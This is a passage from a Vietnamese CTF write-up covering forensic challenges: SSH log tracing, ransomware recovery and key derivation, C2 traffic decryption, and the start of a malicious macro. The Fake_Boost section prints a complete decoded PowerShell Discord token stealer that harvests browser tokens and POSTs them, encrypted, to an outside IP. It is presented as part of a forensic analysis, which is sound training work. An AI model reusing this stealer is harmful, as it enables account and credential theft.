        _mint(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, <span class="hljs-number">10</span> <span class="hljs-literal">ether</span>);
        _mint(_user, <span class="hljs-number">1</span> <span class="hljs-literal">ether</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">approve</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> spender, <span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        allowance[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>][spender] <span class="hljs-operator">=</span> amount;

        <span class="hljs-keyword">emit</span> Approval(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, spender, amount);

        <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">transfer</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        balanceOf[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">-</span><span class="hljs-operator">=</span> amount;
        balanceOf[to] <span class="hljs-operator">+</span><span class="hljs-operator">=</span> amount;

        <span class="hljs-keyword">emit</span> Transfer(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, to, amount);

        <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">transferFrom</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> <span class="hljs-keyword">from</span>, <span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        allowance[<span class="hljs-keyword">from</span>][<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">-</span><span class="hljs-operator">=</span> amount;

        balanceOf[<span class="hljs-keyword">from</span>] <span class="hljs-operator">-</span><span class="hljs-operator">=</span> amount;
        balanceOf[to] <span class="hljs-operator">+</span><span class="hljs-operator">=</span> amount;

        <span class="hljs-keyword">emit</span> Transfer(<span class="hljs-keyword">from</span>, to, amount);

        <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_mint</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">private</span></span> </span>{
        balanceOf[to] <span class="hljs-operator">+</span><span class="hljs-operator">=</span> amount;
        totalSupply <span class="hljs-operator">+</span><span class="hljs-operator">=</span> amount;

        <span class="hljs-keyword">emit</span> Transfer(<span class="hljs-keyword">address</span>(<span class="hljs-number">0</span>), to, amount);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_burn</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> <span class="hljs-keyword">from</span>, <span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">private</span></span> </span>{
        balanceOf[<span class="hljs-keyword">from</span>] <span class="hljs-operator">-</span><span class="hljs-operator">=</span> amount;
        totalSupply <span class="hljs-operator">-</span><span class="hljs-operator">=</span> amount;

        <span class="hljs-keyword">emit</span> Transfer(<span class="hljs-keyword">from</span>, <span class="hljs-keyword">address</span>(<span class="hljs-number">0</span>), amount);
    }
}
</code></pre>
<h3 id="heading-solution-12">Solution</h3>
<p>Viết thế này thôi chứ mình biết giải 🐶 đâu mà 🐧. Hẹn gặp lại vào một ngày mình lỏ hơn 💰</p>
<hr />
<h1 id="heading-forensic">Forensic</h1>
<h2 id="heading-anunusualsighting"><strong>An_unusual_sighting</strong></h2>
<p><strong><em>credit: Nex0</em></strong></p>
<p>Trace log và trả lời câu hỏi sau khi connect tới instance.</p>
<ol>
<li>What is the IP Address and Port of the SSH Server (IP:PORT)</li>
</ol>
<p>Dễ thấy nó listen ở port 2221 và khi có connect tới, ta có IP:</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/f404b5e9-610b-4d79-867f-a505953d8be7" alt="image" /></p>
<blockquote>
<p>Ans: <code>100.107.36.130:2221</code></p>
</blockquote>
<ol start="2">
<li>What time is the first successful Login</li>
</ol>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/9cabd41c-a7b2-441d-a291-921decffcd20" alt="image" /></p>
<blockquote>
<p>Ans: <code>2024-02-13 11:29:50</code></p>
</blockquote>
<ol start="3">
<li>What is the time of the unusual Login</li>
</ol>
<p>Tại file bash, ta thấy root có add user mới tên softdev và config hệ thống các thứ. Trace lại ở ssh log, có 2 lần login vào root, đặc biệt là lần thứ 2 match với command <code>whoami</code> trong bash (sussy :D).</p>
<p>Từ đó ta có time của unusual login:</p>
<blockquote>
<p>Ans: <code>2024-02-19 04:00:14</code></p>
</blockquote>
<ol start="4">
<li>What is the Fingerprint of the attacker's public key</li>
</ol>
<p>Ngay bên cạnh time đó trong log luôn.</p>
<blockquote>
<p>Ans: <code>OPkBSs6okUKraq8pYo4XwwBg55QSo210F09FCe1-yj4</code></p>
</blockquote>
<ol start="5">
<li>What is the first command the attacker executed after logging in</li>
</ol>
<p>Trace theo thời gian như trên ta đã nói thôi, là <code>whoami</code></p>
<blockquote>
<p>Ans: <code>whoami</code></p>
</blockquote>
<ol start="6">
<li>What is the final command the attacker executed before logging out</li>
</ol>
<p>Attacker thoát ssh lúc <code>2024-02-19 04:38:17</code>, ta có command cuối cùng gần nhất với time này là:</p>
<blockquote>
<p>Ans: <code>./setup</code></p>
</blockquote>
<p>Flag: <code>HTB{B3sT_0f_luck_1n_th3_Fr4y!!}</code></p>
<h2 id="heading-confinement"><strong>Confinement</strong></h2>
<p><strong><em>credit: Nex0</em></strong></p>
<p>Đề cho 1 file ad1, load bằng <code>FTK Imager</code> và phân tích. Trong các folder Document thì file bị encrypt, 1 số file bị sửa mỗi byte đầu nên lúc đó mình chưa hiểu là ransomware kiểu gì:v Trôn VN.</p>
<p>Recent các thứ cũng không có gì, nên mình chuyển qua đọc log.</p>
<p>Tại log <code>Microsoft-Windows-Powershell-Operational</code>, event id 4104 (common:v), mình trace được command:</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/7c6bb614-9381-4ad9-bb4b-194d8523bacd" alt="image" /></p>
<p>Sussy XD, sau whoami là 1 loạt các command như sau:</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/5ffac6b9-d7e6-4cb1-a38b-ec917c21c52c" alt="image" /></p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/b71e9cff-a606-4e9e-b9ce-a2faf4843ec7" alt="image" /></p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/94e42263-d393-43c2-8676-db92224d8916" alt="image" /></p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/9f4ce401-8e71-49df-bdb6-56f1a5143fe9" alt="image" /></p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/eddb2e90-820f-4ff8-b084-c118afec9a17" alt="image" /></p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/a28a9beb-b98d-4e04-a0f8-7dd0062aaf72" alt="image" /></p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/d84dd819-5cd0-409d-bee3-51ac016a1741" alt="image" /></p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/3e63ed5f-7f70-47b1-8f90-092ad5e97db8" alt="image" /></p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/c90858e5-fc9b-405b-b18a-dda93bbbbec8" alt="image" /></p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/9a0d3813-37e3-464c-bc9e-48919f25c622" alt="image" /></p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/0aeeb95d-bbb7-4678-b025-cdf4c4175d6f" alt="image" /></p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/b63d1b22-53d1-490e-a773-e3b1fabf7759" alt="image" /></p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/9ecb5bf4-5477-476e-ab65-8264449b0907" alt="image" /></p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/dd8f211a-4053-4565-abc1-7a783f42081d" alt="image" /></p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/f1b587b3-801e-4715-911c-21ea48196bfa" alt="image" /></p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/9606eae5-3bbe-4540-bae3-658bae26f6f6" alt="image" /></p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/ca3037d2-f4c5-4013-ad02-33669ea74e91" alt="image" /></p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/6397ff21-ebaf-4704-a0e1-3c38a3af4b23" alt="image" /></p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/b90cebfc-844b-47e4-828f-a192c4c6028b" alt="image" /></p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/f49b6adf-60ae-46b8-badd-22fe658ed825" alt="image" /></p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/51091f2d-325a-4285-a4af-5ea941c4d800" alt="image" /></p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/b0a1d8b0-41cd-4084-8df4-58690dd3b7c3" alt="image" /></p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/8ae53a7a-b009-4077-a74f-94f5c30f5a9f" alt="image" /></p>
<p>Tổng kết lại là sau khi có shell, attacker check info domain, ip,... tải về zip chứa 1 mớ các exe gì gì đó. Ta có thể xem đầy đủ trong prefetch của 7z:</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/9566e75a-5571-4138-8195-8ee5679176f6" alt="image" /></p>
<p>Attacker chạy 1 số con exe trong đấy, sau đó gỡ Windows Defender đi.</p>
<p>Sau khi chạy 1 số exe trong này, attacker đã xóa file zip và các exe liên quan trong Documents, nên lúc đấy mình không nghĩ ra hướng nào nữa.</p>
<p>Tuy nhiên, attacker chạy xong exe mới gỡ Windows Defender bằng Dism 🐸, điều này hướng mình tới Log Firewall có thể còn thông tin gì đó.</p>
<p>Chính đây là thời điểm <code>Dism</code> Defender:</p>
<p>Ta trace ngược lại 1 ít thời gian:</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/d11344e8-a748-4928-a31f-87387d081a93" alt="image" /></p>
<p>Ở đây ta thấy con <code>intel.exe</code> trước đó đã bị detect và quarantined. Củng cố hơn cho việc đây là con ransom, tại Powershell log ban nãy, ta có thấy con intel.exe chạy bị lỗi gì đó, Werfault được gọi lên và ghi lại report, tại path <code>Program Data\Microsoft\Windows\WER</code> ta có thể tìm thấy crash folder của intel.exe, tại đó chứa wer report của nó. Original filename là Encrypter.exe =))</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/84edd137-26e8-4bd1-bbaa-bc70a30324ff" alt="image" /></p>
<p>Sau khi dạo quanh google 1 đêm, mình đọc được 1 bài này:</p>
<p>Tức là vẫn còn cách để khôi phục. Mình nhận ra tiềm năng từ đây :)), mình bắt đầu google 1 số thứ liên quan và tìm hiểu được rằng, file bị detect sẽ được quarantine vào folder <code>/Program Data/Windows Defender/Quarantine</code>, từ đó người dùng có thể tùy chọn remove hoặc restore file đó.</p>
<p>Mình tìm được tool sau: <a target="_blank" href="https://github.com/knez/defender-dump/tree/master">https://github.com/knez/defender-dump/tree/master</a></p>
<p>Tiến hành khôi phục thử thôi:</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/934cdec6-7459-455f-aa26-abf4c393c5bd" alt="image" /></p>
<p>Ngon =)). Tiến hành RE thôi nào.</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/d7553592-c438-47be-8184-89d4f816c57e" alt="image" /></p>
<p>DotNet enjoyer!</p>
<p>Đầu tiên với hàm Main:</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/ebd1c85e-0156-4aba-9f07-43e11fe31a6e" alt="image" /></p>
<p>Vì là ransomware, mình sẽ tập trung vào các phần liên quan tới mã hóa thôi. Ta thấy nó tạo 1 object CoreEncrypter với param <code>(passwordHasher.GetHashCode(Program.UID, Program.salt), alert.ValidateAlert(), Program.alertName,</code><a target="_blank" href="http://Program.email"><code>Program.email</code></a><code>)</code></p>
<p>Tiếp tục đi vào class passwordHasher, nó nối password và salt vào:</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/e8268eb0-fe94-4dfc-9dbf-0ec8921edbb1" alt="image" /></p>
<p>Password ở đây là UID và Salt từ class Program:</p>
<ul>
<li><p>Salt:</p>
<p>  <img src="https://github.com/NVex0/uWU/assets/113530029/080fc068-6bfa-4ef5-876b-0d2036ac36ff" alt="image" /></p>
</li>
<li><p>Password: Nó đang được set giá trị là null, nhưng nếu đọc kỹ thì tại hàm Main, biến này cũng được gọi lên để hàm GenerateUserID() gen giá trị rồi assign vào biến đó.</p>
<p>  GenerateUserID():</p>
<p>  <img src="https://github.com/NVex0/uWU/assets/113530029/8629b796-5dd5-4aca-9259-6be633e1886d" alt="image" /></p>
<p>  Hàm này gen ra 1 chuỗi 14 ký tự xen kẽ chuỗi và kí tự thôi.</p>
<p>  Sau khi gen xong, ta thấy nó được truyền vào object Alert với vai trò là AttackID, khi reference, ta dễ dàng thấy AttackID này được nhồi vào Html chứa thông báo tống tiền:</p>
<p>  <img src="https://github.com/NVex0/uWU/assets/113530029/fbc28490-1961-40a6-b9db-ee417df991aa" alt="image" /></p>
<p>  Vào folder bất kì có file bị encrypt rồi mở file HTA lên xem là ta có AttackID, đồng nghĩa với việc ta đã có password :v :</p>
<p>  <img src="https://github.com/NVex0/uWU/assets/113530029/e8afe1ff-b208-4f6b-b902-69c28c6b2ccd" alt="image" /></p>
</li>
</ul>
<p>Quay trở lại passwordHasher, nó gọi đến Hasher:</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/2133da4e-28b8-4d1c-b10b-1ba89a1fc5ed" alt="image" /></p>
<p>Thực hiện concat 2 cái trên ta vừa tìm được, sha512 lại rồi encode base64. Làm tương tự và mình có chuỗi sau:</p>
<p><code>A/b2e5CdOYWbfxqJxQ/Y4Xl4yj5gYqDoN0JQBIWAq5tCRPLlprP2GC87OXq92v1KhCIBTMLMKcfCuWo+kJdnPA==</code></p>
<p>Sau khi khởi tạo Object CoreEncrypter xong, tại Main, ta thấy nó gọi tới hàm Enc, và Enc lại gọi tới EncryptFile trong CoreCrypter. Ta cùng xem qua:</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/3b425841-fef8-4c8b-a6af-abd2166d6c7f" alt="image" /></p>
<p>Đầu tiên nó derive key nhận vào 3 params:</p>
<ul>
<li>Key: chính là param 1 truyền vào Object CoreEncrypter, cụ thể là chuỗi base64 ta tính được từ pass và salt ở trên:</li>
</ul>
<blockquote>
<p>A/b2e5CdOYWbfxqJxQ/Y4Xl4yj5gYqDoN0JQBIWAq5tCRPLlprP2GC87OXq92v1KhCIBTMLMKcfCuWo+kJdnPA==</p>
</blockquote>
<ul>
<li>Salt: là byte array trong code kia, mình convert sang hex:</li>
</ul>
<blockquote>
<p>0001010001010000</p>
</blockquote>
<ul>
<li>Iterations:</li>
</ul>
<blockquote>
<p>4953</p>
<p>Ngoài lề, sau khi đọc hết code, mình biết được các file vượt quá size mà nó xác định kia (đoạn if), thì nó chỉ mã hóa byte đầu thôi, điều này cũng clear cho mình hơn tại sao lại có ransomware troll thế :v</p>
</blockquote>
<p>Derive key thôi!</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/f51b1688-900f-4cc8-a7d4-32901c69899f" alt="image" /></p>
<p>Sau đó truncate nó thành 2 phần là key với iv, decrypt aes:</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/a53065e9-1d5c-415d-9b0d-4f3ec604230a" alt="image" /></p>
<p>Header PK, decrypt xong rồi. Mở ra và ẵm flag thôi:</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/5f5bd532-2095-4d7b-adb2-926c5ff7f3ef" alt="image" /></p>
<p>Flag: <code>HTB{2_f34r_1s_4_ch01ce_322720914448bf9831435690c5835634}</code></p>
<h2 id="heading-data-siege"><strong>Data Siege</strong></h2>
<p><strong><em>credit: Nex0</em></strong></p>
<p>C2 server, extract Exe từ Pcap ra và phân tích thôi :))</p>
<p>Exe .net, mình dùng dnspy.</p>
<p>Ta có salt của đoạn derive key trong hàm encrypt/decrypt sau khi decode là: <code>Very_S3cr3t_S</code></p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/5732025d-1e11-49d0-8050-d2dd6fea6d9c" alt="image" /></p>
<p>Derive key, ta có thể tìm thấy password ngay trong code, salt ở bên trên. Ngoài ra còn 1 tham số nữa là Iteration, default value của nó ta có dựa vào đây:</p>
<p><a target="_blank" href="https://referencesource.microsoft.com/#mscorlib/system/security/cryptography/rfc2898derivebytes.cs,78">https://referencesource.microsoft.com/#mscorlib/system/security/cryptography/rfc2898derivebytes.cs,78</a></p>
<p>Value = 1000:</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/af05a5b9-13de-4324-8d6e-28b22e70c5ed" alt="image" /></p>
<p>Từ đó ta derive ra bytes sequence như sau:</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/6c6f410b-681c-47ab-b46d-f9470ea852eb" alt="image" /></p>
<p>Truncate nó và decrypt thôi, mình decrypt từng cái 1, tại đây mình có part 2 và part 1: <em>h45</em>b33n_r357</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/91c78c54-f72e-4f56-92cf-860e43295734" alt="image" /></p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/997fd24a-8173-49b0-8249-5d867b7b6feb" alt="image" /></p>
<p>Tại đây chạy powershell với param encode:</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/058e951a-7a58-4fd6-8ab5-1865be55bdd4" alt="image" /></p>
<p>Mình decode nó ra, ta sẽ thấy part 3 được set tên cho new schedule task:</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/208290c0-7211-4516-a26b-8be6526a25be" alt="image" /></p>
<p>Flag: <code>HTB{c0mmun1c4710n5_h45_b33n_r3570r3d_1n_7h3_h34dqu4r73r5}</code></p>
<h2 id="heading-fakeboost"><strong>Fake_Boost</strong></h2>
<p><strong><em>credit: Nex0</em></strong></p>
<p>Đề cấp 1 file pcapng. Tại <a target="_blank" href="http://tcp.stream"><code>tcp.stream</code></a><code>eq 3</code>, ta thấy nó tải xuống 1 attachment là file ps1 tại dir /freediscordnitro. Cùng phân tích file ps1 này:</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/9f9e7c66-d7d5-46ba-8024-e59fd036ef10" alt="image" /></p>
<p>Đại khái là reverse xong decode base64 cái biến dài ngoằng ở trên, sau đó iex nó:</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/e305d026-61b6-47c6-aa02-0d6c1e1b50fe" alt="image" /></p>
<p>Full decoded script:</p>
<pre><code class="lang-php">$URL = <span class="hljs-string">"http://192.168.116.135:8080/rj1893rj1joijdkajwda"</span>

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">Steal</span> </span>{
    param (
        [<span class="hljs-keyword">string</span>]$path
    )

    $tokens = @()

    <span class="hljs-keyword">try</span> {
        Get-ChildItem -Path $path -File -Recurse -Force | <span class="hljs-keyword">ForEach</span>-<span class="hljs-keyword">Object</span> {

            <span class="hljs-keyword">try</span> {
                $fileContent = Get-Content -Path $_.FullName -Raw -ErrorAction Stop

                <span class="hljs-keyword">foreach</span> ($regex in @(<span class="hljs-string">'[\w-]{26}\.[\w-]{6}\.[\w-]{25,110}'</span>, <span class="hljs-string">'mfa\.[\w-]{80,95}'</span>)) {
                    $tokens += $fileContent | Select-<span class="hljs-keyword">String</span> -Pattern $regex -AllMatches | <span class="hljs-keyword">ForEach</span>-<span class="hljs-keyword">Object</span> {
                        $_.Matches.Value
                    }
                }
            } <span class="hljs-keyword">catch</span> {}
        }
    } <span class="hljs-keyword">catch</span> {}

    <span class="hljs-keyword">return</span> $tokens
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">GenerateDiscordNitroCodes</span> </span>{
    param (
        [<span class="hljs-keyword">int</span>]$numberOfCodes = <span class="hljs-number">10</span>,
        [<span class="hljs-keyword">int</span>]$codeLength = <span class="hljs-number">16</span>
    )

    $chars = <span class="hljs-string">'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'</span>
    $codes = @()

    <span class="hljs-keyword">for</span> ($i = <span class="hljs-number">0</span>; $i -lt $numberOfCodes; $i++) {
        $code = -join (<span class="hljs-number">1.</span>.$codeLength | <span class="hljs-keyword">ForEach</span>-<span class="hljs-keyword">Object</span> { Get-Random -InputObject $chars.ToCharArray() })
        $codes += $code
    }

    <span class="hljs-keyword">return</span> $codes
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">Get</span>-<span class="hljs-title">DiscordUserInfo</span> </span>{
    [CmdletBinding()]
    Param (
        [Parameter(Mandatory = $true)]
        [<span class="hljs-keyword">string</span>]$Token
    )

    process {
        <span class="hljs-keyword">try</span> {
            $Headers = @{
                <span class="hljs-string">"Authorization"</span> = $Token
                <span class="hljs-string">"Content-Type"</span> = <span class="hljs-string">"application/json"</span>
                <span class="hljs-string">"User-Agent"</span> = <span class="hljs-string">"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.48 Safari/537.36"</span>
            }

            $Uri = <span class="hljs-string">"https://discord.com/api/v9/users/@me"</span>

            $Response = Invoke-RestMethod -Uri $Uri -Method Get -Headers $Headers
            <span class="hljs-keyword">return</span> $Response
        }
        <span class="hljs-keyword">catch</span> {}
    }
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">Create</span>-<span class="hljs-title">AesManagedObject</span>(<span class="hljs-params">$key, $IV, $mode</span>) </span>{
    $aesManaged = <span class="hljs-keyword">New</span>-<span class="hljs-keyword">Object</span> <span class="hljs-string">"System.Security.Cryptography.AesManaged"</span>

    <span class="hljs-keyword">if</span> ($mode=<span class="hljs-string">"CBC"</span>) { $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC }
    <span class="hljs-keyword">elseif</span> ($mode=<span class="hljs-string">"CFB"</span>) {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CFB}
    <span class="hljs-keyword">elseif</span> ($mode=<span class="hljs-string">"CTS"</span>) {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CTS}
    <span class="hljs-keyword">elseif</span> ($mode=<span class="hljs-string">"ECB"</span>) {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::ECB}
    <span class="hljs-keyword">elseif</span> ($mode=<span class="hljs-string">"OFB"</span>){$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::OFB}


    $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
    $aesManaged.BlockSize = <span class="hljs-number">128</span>
    $aesManaged.KeySize = <span class="hljs-number">256</span>
    <span class="hljs-keyword">if</span> ($IV) {
        <span class="hljs-keyword">if</span> ($IV.getType().Name -eq <span class="hljs-string">"String"</span>) {
            $aesManaged.IV = [System.Convert]::FromBase64String($IV)
        }
        <span class="hljs-keyword">else</span> {
            $aesManaged.IV = $IV
        }
    }
    <span class="hljs-keyword">if</span> ($key) {
        <span class="hljs-keyword">if</span> ($key.getType().Name -eq <span class="hljs-string">"String"</span>) {
            $aesManaged.Key = [System.Convert]::FromBase64String($key)
        }
        <span class="hljs-keyword">else</span> {
            $aesManaged.Key = $key
        }
    }
    $aesManaged
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">Encrypt</span>-<span class="hljs-title">String</span>(<span class="hljs-params">$key, $plaintext</span>) </span>{
    $bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext)
    $aesManaged = Create-AesManagedObject $key
    $encryptor = $aesManaged.CreateEncryptor()
    $encryptedData = $encryptor.TransformFinalBlock($bytes, <span class="hljs-number">0</span>, $bytes.Length);
    [byte[]] $fullData = $aesManaged.IV + $encryptedData
    [System.Convert]::ToBase64String($fullData)
}

Write-Host <span class="hljs-string">"
______              ______ _                       _   _   _ _ _               _____  _____  _____   ___ 
|  ___|             |  _  (_)                     | | | \ | (_) |             / __  \|  _  |/ __  \ /   |
| |_ _ __ ___  ___  | | | |_ ___  ___ ___  _ __ __| | |  \| |_| |_ _ __ ___   `' / /'| |/' |`' / /'/ /| |
|  _| '__/ _ \/ _ \ | | | | / __|/ __/ _ \| '__/ _` | | . ` | | __| '__/ _ \    / /  |  /| |  / / / /_| |
| | | | |  __/  __/ | |/ /| \__ \ (_| (_) | | | (_| | | |\  | | |_| | | (_) | ./ /___\ |_/ /./ /__\___  |
\_| |_|  \___|\___| |___/ |_|___/\___\___/|_|  \__,_| \_| \_/_|\__|_|  \___/  \_____/ \___/ \_____/   |_/

                                                                                                         "</span>
Write-Host <span class="hljs-string">"Generating Discord nitro keys! Please be patient..."</span>

$local = $env:LOCALAPPDATA
$roaming = $env:APPDATA
$part1 = <span class="hljs-string">"SFRCe2ZyMzNfTjE3cjBHM25fM3hwMDUzZCFf"</span>

$paths = @{
    <span class="hljs-string">'Google Chrome'</span> = <span class="hljs-string">"<span class="hljs-subst">$local</span>\Google\Chrome\User Data\Default"</span>
    <span class="hljs-string">'Brave'</span> = <span class="hljs-string">"<span class="hljs-subst">$local</span>\BraveSoftware\Brave-Browser\User Data\Default\"
    'Opera' = "</span>$roaming\Opera Software\Opera Stable<span class="hljs-string">"
    'Firefox' = "</span>$roaming\Mozilla\Firefox\Profiles<span class="hljs-string">"
}

<span class="hljs-subst">$headers</span> = @{
    'Content-Type' = 'application/json'
    'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.48 Safari/537.36'
}

<span class="hljs-subst">$allTokens</span> = @()
foreach (<span class="hljs-subst">$platform</span> in <span class="hljs-subst">$paths</span>.Keys) {
    <span class="hljs-subst">$currentPath</span> = <span class="hljs-subst">$paths</span>[<span class="hljs-subst">$platform</span>]

    if (-not (Test-Path <span class="hljs-subst">$currentPath</span> -PathType Container)) {continue}

    <span class="hljs-subst">$tokens</span> = Steal -path <span class="hljs-subst">$currentPath</span>
    <span class="hljs-subst">$allTokens</span> += <span class="hljs-subst">$tokens</span>
}

<span class="hljs-subst">$userInfos</span> = @()
foreach (<span class="hljs-subst">$token</span> in <span class="hljs-subst">$allTokens</span>) {
    <span class="hljs-subst">$userInfo</span> = Get-DiscordUserInfo -Token <span class="hljs-subst">$token</span>
    if (<span class="hljs-subst">$userInfo</span>) {
        <span class="hljs-subst">$userDetails</span> = [PSCustomObject]@{
            ID = <span class="hljs-subst">$userInfo</span>.id
            Email = <span class="hljs-subst">$userInfo</span>.email
            GlobalName = <span class="hljs-subst">$userInfo</span>.global_name
            Token = <span class="hljs-subst">$token</span>
        }
        <span class="hljs-subst">$userInfos</span> += <span class="hljs-subst">$userDetails</span>
    }
}

<span class="hljs-subst">$AES_KEY</span> = "</span>Y1dwaHJOVGs5d2dXWjkzdDE5amF5cW5sYUR1SWVGS2k=<span class="hljs-string">"
<span class="hljs-subst">$payload</span> = <span class="hljs-subst">$userInfos</span> | ConvertTo-Json -Depth 10
<span class="hljs-subst">$encryptedData</span> = Encrypt-String -key <span class="hljs-subst">$AES_KEY</span> -plaintext <span class="hljs-subst">$payload</span>

try {
    <span class="hljs-subst">$headers</span> = @{
        'Content-Type' = 'text/plain'
        'User-Agent' = 'Mozilla/5.0'
    }
    Invoke-RestMethod -Uri <span class="hljs-subst">$URL</span> -Method Post -Headers <span class="hljs-subst">$headers</span> -Body <span class="hljs-subst">$encryptedData</span>
}
catch {}

Write-Host "</span>Success! Discord Nitro Keys:<span class="hljs-string">"
<span class="hljs-subst">$keys</span> = GenerateDiscordNitroCodes -numberOfCodes 5 -codeLength 16
<span class="hljs-subst">$keys</span> | ForEach-Object { Write-Output <span class="hljs-subst">$_</span> }</span>
</code></pre>
<p>Part 1 ngay trong code, decode base64 ra:</p>
<p><code>HTB{fr33_N17r0G3n_3xp053d!_</code></p>
<p>Code này tiến hành AES encrypt payload lại rồi POST lên server, ta đã có key rồi, truncate encrypted payload ra là có IV, decrypt ra thôi:</p>
<p><img src="https://github.com/NVex0/uWU/assets/113530029/6b75738b-a74c-43e9-a882-d90d969f1d15" alt="image" /></p>
<p>Decode base64 email ra, ta có part 2:</p>
<p><code>b3W4r3_0f_T00_g00d_2_b3_7ru3_0ff3r5}</code></p>
<p>Flag: <code>HTB{fr33_N17r0G3n_3xp053d!_b3W4r3_0f_T00_g00d_2_b3_7ru3_0ff3r5}</code></p>
<h2 id="heading-game-invitation"><strong>Game Invitation</strong></h2>
<p><strong><em>credit: Nex0</em></strong></p>
<p>Đề cấp cho ta 1 file docm. Check macro luôn thôi nhỉ? Mình dùng <code>olevba</code>.</p>
<p>Full macro script embed trong file:</p>
<pre><code class="lang-plaintext">Function JFqcfEGnc(given_string() As Byte, length As Long) As Boolean
Dim xor_key As Byte
xor_key = 45
For i = 0 To length - 1
given_string(i) = given_string(i) Xor xor_key
